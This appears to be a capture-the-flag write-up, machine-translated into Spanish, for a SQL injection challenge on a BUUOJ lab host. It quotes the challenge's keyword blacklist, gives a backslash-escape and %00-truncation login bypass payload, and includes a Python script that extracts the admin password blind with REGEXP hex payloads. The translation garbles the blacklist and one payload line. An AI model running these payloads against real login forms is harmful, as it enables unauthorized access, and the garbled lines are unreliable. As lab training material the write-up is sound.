Puntos de conocimiento
- % 00 truncado
- inyección de expresiones regulares
WP
Mañana probaré la base de datos. Ya no recuerdo el concepto. Haré una inyección SQL para relajarme.
Primero ingrese al entorno y solicite que intente hacer que sqlquery tenga sus propios resultados.
Vea la declaración como esta:
select * from users where username='' and passwd=''
Se supone que se han filtrado muchas cosas. Después de la recopilación de información, se descubre que existe un archivo robots.txt y que hint.txt está escrito en él. El contenido es el siguiente:
$ black_list = “/ limit | by | substr | mid |, | admin | benchmark | like | or | char | union | substring | select | most |% 00 | '| = | | en | <|> | - |. | () | # | y | si | base de datos | usuarios | donde | tabla | concat | insertar | unirse | teniendo | dormir / i ”;
Si $ _POST ['passwd'] === contraseña de administrador,
Entonces obtendrás la bandera;
Descubrí que se filtran muchas cosas y necesitamos pasar la contraseña correcta para obtener la bandera.
En primer lugar, se encuentra que las barras invertidas no se filtran, por lo que las comillas simples se pueden escapar. Pero el problema es que después de filtrar # - '
estas tres cosas, no podemos eliminar las comillas simples adicionales al final.
Revisé y descubrí que se puede truncar en 00. Eche un vistazo al entorno del sujeto: de
hecho, hay una versión php con truncamiento 00, así que use truncamiento 00:
username=\&passwd=||(1);%00
Luego, busque la manera de inyectarlo. Debido a que el Me gusta está filtrado, puede usar REGEXP para inyectar. El script es el siguiente:
import requests
import string
from urllib.parse import unquote
url='http://fcc7d9e3-cb5c-4a51-a351-c90d1d2da1d3.node3.buuoj.cn/'
strs = string.ascii_letters+string.digits+"_"
result=''
payload="||(passwd/**/regexp**/0x{});"
#payload="||(username/**/regexp/**/0x{});"
while 1:
for j in strs:
p1="^"+result+j
p2=bytes(p1,'UTF-8')
pp=p2.hex()
ppp=payload.format(pp)
zero=unquote("%00", 'utf-8')
ppp+=zero
data={
"username":"\\",
"passwd":ppp
}
#print(data)
r=requests.post(url=url,data=data).text
#print(r)
#break
if "welcome" in r:
result+=j
print(result)
break
#print(data)
Puede resultar que haya letras mayúsculas y minúsculas, simplemente conviértalas a minúsculas. Luego ingrese la contraseña para obtener la bandera.
Después de escribir, miré WP y descubrí que debido a que no hay un filtro para las comillas dobles, se puede omitir sin hexadecimal, solo use comillas dobles.